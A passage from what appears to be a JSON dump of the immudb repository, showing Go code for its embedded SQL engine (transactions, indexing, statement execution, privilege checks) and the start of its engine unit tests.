error\n\tUseDatabase(ctx context.Context, db string) error\n\tGetLoggedUser(ctx context.Context) (User, error)\n\tListUsers(ctx context.Context) ([]User, error)\n\tCreateUser(ctx context.Context, username, password string, permission Permission) error\n\tAlterUser(ctx context.Context, username, password string, permission Permission) error\n\tGrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error\n\tRevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error\n\tDropUser(ctx context.Context, username string) error\n\tExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error)\n}\n\ntype TableResolver interface {\n\tTable() string\n\tResolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error)\n}\n\ntype User interface {\n\tUsername() string\n\tPermission() Permission\n\tSQLPrivileges() []SQLPrivilege\n}\n\nfunc NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) {\n\tif st == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif !st.MultiIndexingEnabled() {\n\t\treturn nil, ErrMultiIndexingNotEnabled\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\te := &Engine{\n\t\tstore:                         st,\n\t\tprefix:                        make([]byte, len(opts.prefix)),\n\t\tdistinctLimit:                 opts.distinctLimit,\n\t\tsortBufferSize:                opts.sortBufferSize,\n\t\tautocommit:                    opts.autocommit,\n\t\tlazyIndexConstraintValidation: opts.lazyIndexConstraintValidation,\n\t\tparseTxMetadata:               opts.parseTxMetadata,\n\t\tmultidbHandler:                opts.multidbHandler,\n\t}\n\n\tcopy(e.prefix, opts.prefix)\n\n\terr = st.InitIndexing(&store.IndexSpec{\n\t\tSourcePrefix:     append(e.prefix, []byte(catalogPrefix)...),\n\t\tTargetPrefix:     append(e.prefix, []byte(catalogPrefix)...),\n\t\tInjectiveMapping: true,\n\t})\n\tif err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) {\n\t\treturn nil, err\n\t}\n\n\tfor _, r := range opts.tableResolvers {\n\t\te.registerTableResolver(r.Table(), r)\n\t}\n\n\t// TODO: find a better way to handle parsing errors\n\tyyErrorVerbose = true\n\n\treturn e, nil\n}\n\nfunc (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar mode store.TxMode\n\tif opts.ReadOnly {\n\t\tmode = store.ReadOnlyTx\n\t} else {\n\t\tmode = store.ReadWriteTx\n\t}\n\n\ttxOpts := &store.TxOptions{\n\t\tMode:                    mode,\n\t\tSnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID,\n\t\tSnapshotRenewalPeriod:   opts.SnapshotRenewalPeriod,\n\t\tUnsafeMVCC:              opts.UnsafeMVCC,\n\t}\n\n\ttx, err := e.store.NewTx(ctx, txOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(opts.Extra) > 0 {\n\t\ttxmd := store.NewTxMetadata()\n\t\terr := txmd.WithExtra(opts.Extra)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttx.WithMetadata(txmd)\n\t}\n\n\tcatalog := newCatalog(e.prefix)\n\n\terr = catalog.load(ctx, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, table := range catalog.GetTables() {\n\t\tprimaryIndex := table.primaryIndex\n\n\t\trowEntryPrefix := MapKey(\n\t\t\te.prefix,\n\t\t\tRowPrefix,\n\t\t\tEncodeID(DatabaseID),\n\t\t\tEncodeID(table.id),\n\t\t\tEncodeID(primaryIndex.id),\n\t\t)\n\n\t\tmappedPKEntryPrefix := MapKey(\n\t\t\te.prefix,\n\t\t\tMappedPrefix,\n\t\t\tEncodeID(table.id),\n\t\t\tEncodeID(primaryIndex.id),\n\t\t)\n\n\t\terr = e.store.InitIndexing(&store.IndexSpec{\n\t\t\tSourcePrefix: rowEntryPrefix,\n\n\t\t\tTargetEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex),\n\t\t\tTargetPrefix:      mappedPKEntryPrefix,\n\n\t\t\tInjectiveMapping: true,\n\t\t})\n\t\tif err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, index := range table.indexes {\n\t\t\tif index.IsPrimary() {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tmappedEntryPrefix := MapKey(\n\t\t\t\te.prefix,\n\t\t\t\tMappedPrefix,\n\t\t\t\tEncodeID(table.id),\n\t\t\t\tEncodeID(index.id),\n\t\t\t)\n\n\t\t\terr = e.store.InitIndexing(&store.IndexSpec{\n\t\t\t\tSourcePrefix:      rowEntryPrefix,\n\t\t\t\tSourceEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex),\n\t\t\t\tTargetEntryMapper: indexEntryMapperFor(index, primaryIndex),\n\t\t\t\tTargetPrefix:      mappedEntryPrefix,\n\n\t\t\t\tInjectiveMapping: true,\n\t\t\t})\n\t\t\tif errors.Is(err, store.ErrIndexAlreadyInitialized) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tif table.autoIncrementPK {\n\t\t\tencMaxPK, err := loadMaxPK(ctx, e.prefix, tx, table)\n\t\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif len(encMaxPK) != 9 {\n\t\t\t\treturn nil, ErrCorruptedData\n\t\t\t}\n\n\t\t\tif encMaxPK[0] != KeyValPrefixNotNull {\n\t\t\t\treturn nil, ErrCorruptedData\n\t\t\t}\n\n\t\t\t// map to signed integer space\n\t\t\tencMaxPK[1] ^= 0x80\n\n\t\t\ttable.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:]))\n\t\t}\n\t}\n\n\treturn &SQLTx{\n\t\tengine:           e,\n\t\topts:             opts,\n\t\ttx:               tx,\n\t\tcatalog:          catalog,\n\t\tlastInsertedPKs:  make(map[string]int64),\n\t\tfirstInsertedPKs: make(map[string]int64),\n\t}, nil\n}\n\nfunc indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper {\n\t// value={count (colID valLen val)+})\n\t// key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+\n\n\tvalueExtractor := func(value []byte, valuesByColID map[uint32]TypedValue) error {\n\t\tvoff := 0\n\n\t\tcols := int(binary.BigEndian.Uint32(value[voff:]))\n\t\tvoff += EncLenLen\n\n\t\tfor i := 0; i < cols; i++ {\n\t\t\tif len(value) < EncIDLen {\n\t\t\t\treturn fmt.Errorf(\"key is lower than required\")\n\t\t\t}\n\n\t\t\tcolID := binary.BigEndian.Uint32(value[voff:])\n\t\t\tvoff += EncIDLen\n\n\t\t\tcol, err := index.table.GetColumnByID(colID)\n\t\t\tif errors.Is(err, ErrColumnDoesNotExist) {\n\t\t\t\tvlen := int(binary.BigEndian.Uint32(value[voff:]))\n\t\t\t\tvoff += EncLenLen + vlen\n\t\t\t\tcontinue\n\t\t\t} else if err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tval, n, err := DecodeValue(value[voff:], col.colType)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvoff += n\n\n\t\t\tvaluesByColID[colID] = val\n\t\t}\n\n\t\treturn nil\n\t}\n\n\treturn func(key, value []byte) ([]byte, error) {\n\t\tencodedValues := make([][]byte, 2+len(index.cols)+1)\n\t\tencodedValues[0] = EncodeID(index.table.id)\n\t\tencodedValues[1] = EncodeID(index.id)\n\n\t\tvaluesByColID := make(map[uint32]TypedValue, len(index.cols))\n\n\t\tfor _, col := range index.table.cols {\n\t\t\tvaluesByColID[col.id] = &NullValue{t: col.colType}\n\t\t}\n\n\t\terr := valueExtractor(value, valuesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor i, col := range index.cols {\n\t\t\tencKey, _, err := EncodeValueAsKey(valuesByColID[col.id], col.Type(), col.MaxLen())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tencodedValues[2+i] = encKey\n\t\t}\n\n\t\tpkEncVals, err := encodedKey(primaryIndex, valuesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tencodedValues[len(encodedValues)-1] = pkEncVals\n\n\t\treturn MapKey(index.enginePrefix(), MappedPrefix, encodedValues...), nil\n\t}\n}\n\nfunc (e *Engine) Exec(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) {\n\tstmts, err := ParseSQL(strings.NewReader(sql))\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"%w: %v\", ErrParsingError, err)\n\t}\n\n\treturn e.ExecPreparedStmts(ctx, tx, stmts, params)\n}\n\nfunc (e *Engine) ExecPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) {\n\tntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params)\n\tif err != nil {\n\t\treturn ntx, ctxs, err\n\t}\n\n\tif len(pendingStmts) > 0 {\n\t\t// a different database was selected\n\n\t\tif e.multidbHandler == nil || ntx != nil {\n\t\t\treturn ntx, ctxs, fmt.Errorf(\"%w: all statements should have been executed when not using a multidbHandler\", ErrUnexpected)\n\t\t}\n\n\t\tvar opts *TxOptions\n\n\t\tif tx != nil {\n\t\t\topts = tx.opts\n\t\t} else {\n\t\t\topts = DefaultTxOptions()\n\t\t}\n\n\t\tntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params)\n\n\t\treturn ntx, append(ctxs, hctxs...), err\n\t}\n\n\treturn ntx, ctxs, nil\n}\n\nfunc (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, pendingStmts []SQLStmt, err error) {\n\tif len(stmts) == 0 {\n\t\treturn nil, nil, stmts, ErrIllegalArguments\n\t}\n\n\tnparams, err := normalizeParams(params)\n\tif err != nil {\n\t\treturn nil, nil, stmts, err\n\t}\n\n\tcurrTx := tx\n\n\texecStmts := 0\n\n\tfor _, stmt := range stmts {\n\t\tif stmt == nil {\n\t\t\treturn nil, nil, stmts[execStmts:], ErrIllegalArguments\n\t\t}\n\n\t\t_, isDBSelectionStmt := stmt.(*UseDatabaseStmt)\n\n\t\t// handle the case when working in non-autocommit mode outside a transaction block\n\t\tif isDBSelectionStmt && (currTx != nil && !currTx.Closed()) && !currTx.IsExplicitCloseRequired() {\n\t\t\terr = currTx.Commit(ctx)\n\t\t\tif err == nil {\n\t\t\t\tcommittedTxs = append(committedTxs, currTx)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t\t}\n\t\t}\n\n\t\tif currTx == nil || currTx.Closed() {\n\t\t\tvar opts *TxOptions\n\n\t\t\tif currTx != nil {\n\t\t\t\topts = currTx.opts\n\t\t\t} else if tx != nil {\n\t\t\t\topts = tx.opts\n\t\t\t} else {\n\t\t\t\topts = DefaultTxOptions()\n\t\t\t}\n\n\t\t\t// begin tx with implicit commit\n\t\t\tcurrTx, err = e.NewTx(ctx, opts)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t\t}\n\t\t}\n\n\t\tif e.multidbHandler != nil {\n\t\t\tif err := e.checkUserPermissions(ctx, stmt); err != nil {\n\t\t\t\tcurrTx.Cancel()\n\t\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t\t}\n\t\t}\n\n\t\tntx, err := stmt.execAt(ctx, currTx, nparams)\n\t\tif err != nil {\n\t\t\tcurrTx.Cancel()\n\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t}\n\n\t\tif !currTx.Closed() && !currTx.IsExplicitCloseRequired() && e.autocommit {\n\t\t\terr = currTx.Commit(ctx)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t\t}\n\t\t}\n\n\t\tif currTx.Closed() {\n\t\t\tcommittedTxs = append(committedTxs, currTx)\n\t\t}\n\n\t\tcurrTx = ntx\n\n\t\texecStmts++\n\n\t\tif isDBSelectionStmt && e.multidbHandler != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif currTx != nil && !currTx.Closed() && !currTx.IsExplicitCloseRequired() {\n\t\terr = currTx.Commit(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, committedTxs, stmts[execStmts:], err\n\t\t}\n\n\t\tcommittedTxs = append(committedTxs, currTx)\n\t}\n\n\tif currTx != nil && currTx.Closed() {\n\t\tcurrTx = nil\n\t}\n\n\treturn currTx, committedTxs, stmts[execStmts:], nil\n}\n\nfunc (e *Engine) checkUserPermissions(ctx context.Context, stmt SQLStmt) error {\n\tuser, err := e.multidbHandler.GetLoggedUser(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !stmt.readOnly() && user.Permission() == PermissionReadOnly {\n\t\treturn fmt.Errorf(\"%w: statement requires %s permission\", ErrAccessDenied, PermissionReadWrite)\n\t}\n\n\trequiredPrivileges := stmt.requiredPrivileges()\n\tif !hasAllPrivileges(user.SQLPrivileges(), requiredPrivileges) {\n\t\treturn fmt.Errorf(\"%w: statement requires %v privileges\", ErrAccessDenied, requiredPrivileges)\n\t}\n\treturn nil\n}\n\nfunc hasAllPrivileges(userPrivileges, privileges []SQLPrivilege) bool {\n\tfor _, p := range privileges {\n\t\thas := false\n\t\tfor _, up := range userPrivileges {\n\t\t\tif up == p {\n\t\t\t\thas = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif !has {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) ([]*Row, error) {\n\treader, err := e.Query(ctx, tx, sql, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer reader.Close()\n\n\treturn ReadAllRows(ctx, reader)\n}\n\nfunc (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) {\n\tstmts, err := ParseSQL(strings.NewReader(sql))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %v\", ErrParsingError, err)\n\t}\n\tif len(stmts) != 1 {\n\t\treturn nil, ErrExpectingDQLStmt\n\t}\n\n\tstmt, ok := stmts[0].(DataSource)\n\tif !ok {\n\t\treturn nil, ErrExpectingDQLStmt\n\t}\n\n\treturn e.QueryPreparedStmt(ctx, tx, stmt, params)\n}\n\nfunc (e *Engine) QueryPreparedStmt(ctx context.Context, tx *SQLTx, stmt DataSource, params map[string]interface{}) (rowReader RowReader, err error) {\n\tif stmt == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tqtx := tx\n\n\tif qtx == nil {\n\t\tqtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err != nil {\n\t\t\t\tqtx.Cancel()\n\t\t\t}\n\t\t}()\n\t}\n\n\tnparams, err := normalizeParams(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif e.multidbHandler != nil {\n\t\tif err := e.checkUserPermissions(ctx, stmt); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t_, err = stmt.execAt(ctx, qtx, nparams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := stmt.Resolve(ctx, qtx, nparams, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tx == nil {\n\t\tr.onClose(func() {\n\t\t\tqtx.Cancel()\n\t\t})\n\t}\n\n\treturn r, nil\n}\n\nfunc (e *Engine) Catalog(ctx context.Context, tx *SQLTx) (catalog *Catalog, err error) {\n\tqtx := tx\n\n\tif qtx == nil {\n\t\tqtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer qtx.Cancel()\n\t}\n\n\treturn qtx.Catalog(), nil\n}\n\nfunc (e *Engine) InferParameters(ctx context.Context, tx *SQLTx, sql string) (params map[string]SQLValueType, err error) {\n\tstmts, err := ParseSQL(strings.NewReader(sql))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %v\", ErrParsingError, err)\n\t}\n\treturn e.InferParametersPreparedStmts(ctx, tx, stmts)\n}\n\nfunc (e *Engine) InferParametersPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt) (params map[string]SQLValueType, err error) {\n\tif len(stmts) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tqtx := tx\n\n\tif qtx == nil {\n\t\tqtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer qtx.Cancel()\n\t}\n\n\tparams = make(map[string]SQLValueType)\n\n\tfor _, stmt := range stmts {\n\t\terr = stmt.inferParameters(ctx, qtx, params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn params, nil\n}\n\nfunc normalizeParams(params map[string]interface{}) (map[string]interface{}, error) {\n\tnparams := make(map[string]interface{}, len(params))\n\n\tfor name, value := range params {\n\t\tnname := strings.ToLower(name)\n\n\t\t_, exists := nparams[nname]\n\t\tif exists {\n\t\t\treturn nil, ErrDuplicatedParameters\n\t\t}\n\n\t\tnparams[nname] = value\n\t}\n\n\treturn nparams, nil\n}\n\n// CopyCatalogToTx copies the current sql catalog to the ongoing transaction.\nfunc (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error {\n\tif tx == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tcatalog := newCatalog(e.prefix)\n\n\terr := catalog.addSchemaToTx(ctx, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (e *Engine) GetStore() *store.ImmuStore {\n\treturn e.store\n}\n\nfunc (e *Engine) GetPrefix() []byte {\n\treturn e.prefix\n}\n\nfunc (e *Engine) tableResolveFor(tableName string) TableResolver {\n\tif e.tableResolvers == nil {\n\t\treturn nil\n\t}\n\treturn e.tableResolvers[tableName]\n}\n\nfunc (e *Engine) registerTableResolver(tableName string, r TableResolver) {\n\tif e.tableResolvers == nil {\n\t\te.tableResolvers = make(map[string]TableResolver)\n\t}\n\te.tableResolvers[tableName] = r\n}\n"
  },
  {
    "path": "embedded/sql/engine_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"math/rand\"\n\t\"os\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\nvar sqlPrefix = []byte{2}\n\nfunc closeStore(t *testing.T, st *store.ImmuStore) {\n\terr := st.Close()\n\tif !t.Failed() {\n\t\t// Do not pollute error output if test has already failed\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc setupCommonTest(t *testing.T) *Engine {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { closeStore(t, st) })\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\treturn engine\n}\n\nfunc TestCreateDatabaseWithoutMultiIndexingEnabled(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(false))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\t_, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.ErrorIs(t, err, ErrMultiIndexingNotEnabled)\n}\n\nfunc TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE DATABASE db1\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE DATABASE IF NOT EXISTS db1\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE USER user1 WITH PASSWORD 'user1Password!' READ\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER USER user1 WITH PASSWORD 'user1Password!' ADMIN\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"DROP USER user1\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n}\n\nfunc TestUseDatabaseWithoutMultiDBHandler(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"USE DATABASE db1\", nil)\n\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\n\tt.Run(\"without a handler, multi database stmts are not resolved\", func(t *testing.T) {\n\t\t_, err := engine.Query(context.Background(), nil, \"SELECT * FROM DATABASES()\", nil)\n\t\trequire.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler)\n\t})\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT ts FROM pg_type WHERE ts < 1 + NOW()\", nil)\n\trequire.NoError(t, err)\n\tdefer r.Close()\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n}\n\nfunc TestCreateTable(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, name VARCHAR)\", nil)\n\trequire.ErrorIs(t, err, ErrNoPrimaryKey)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER PRIMARY KEY, name VARCHAR PRIMARY KEY)\", nil)\n\trequire.ErrorIs(t, err, ErrMultiplePrimaryKeys)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER PRIMARY KEY, name VARCHAR, PRIMARY KEY (id, name))\", nil)\n\trequire.ErrorIs(t, err, ErrMultiplePrimaryKeys)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)\", nil)\n\trequire.ErrorIs(t, err, ErrLimitedKeyType)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (name VARCHAR[30], PRIMARY KEY name)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table10 (name VARCHAR[30] PRIMARY KEY)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"CREATE TABLE table2 (name VARCHAR[%d], PRIMARY KEY name)\", MaxKeyLen+1), nil)\n\trequire.ErrorIs(t, err, ErrLimitedKeyType)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table3 (name VARCHAR[32], PRIMARY KEY name)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table4 (id INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\", nil)\n\trequire.ErrorIs(t, err, ErrTableAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS balances (id INTEGER, balance FLOAT, CHECK (balance + id) >= 0, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestTimestampType(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tsel := EncodeSelector(\"\", \"timestamp_table\", \"ts\")\n\n\tt.Run(\"must accept NOW() as a timestamp\", func(t *testing.T) {\n\t\ttsBefore := time.Now().UTC()\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO timestamp_table(ts) VALUES(NOW())\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttsAfter := time.Now().UTC()\n\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT ts FROM timestamp_table WHERE ts < 1 + NOW()\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\tparams := map[string]interface{}{\n\t\t\t\"limit\":  1,\n\t\t\t\"offset\": 0,\n\t\t}\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT @limit+0 OFFSET @offset\", params)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, TimestampType, row.ValuesBySelector[sel].Type())\n\t\trequire.False(t, tsBefore.After(row.ValuesBySelector[sel].RawValue().(time.Time)))\n\t\trequire.False(t, tsAfter.Before(row.ValuesBySelector[sel].RawValue().(time.Time)))\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t})\n\n\tt.Run(\"must accept time.Time as timestamp parameter\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil,\n\t\t\t\"INSERT INTO timestamp_table(ts) VALUES(@ts)\", map[string]interface{}{\n\t\t\t\t\"ts\": time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC),\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, TimestampType, row.ValuesBySelector[sel].Type())\n\t\trequire.Equal(t, time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), row.ValuesBySelector[sel].RawValue())\n\t})\n\n\tt.Run(\"must correctly validate timestamp equality\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil,\n\t\t\t\"INSERT INTO timestamp_table(ts) VALUES(@ts)\", map[string]interface{}{\n\t\t\t\t\"ts\": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC),\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil,\n\t\t\t\"SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id\", map[string]interface{}{\n\t\t\t\t\"ts\": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC),\n\t\t\t})\n\t\trequire.NoError(t, 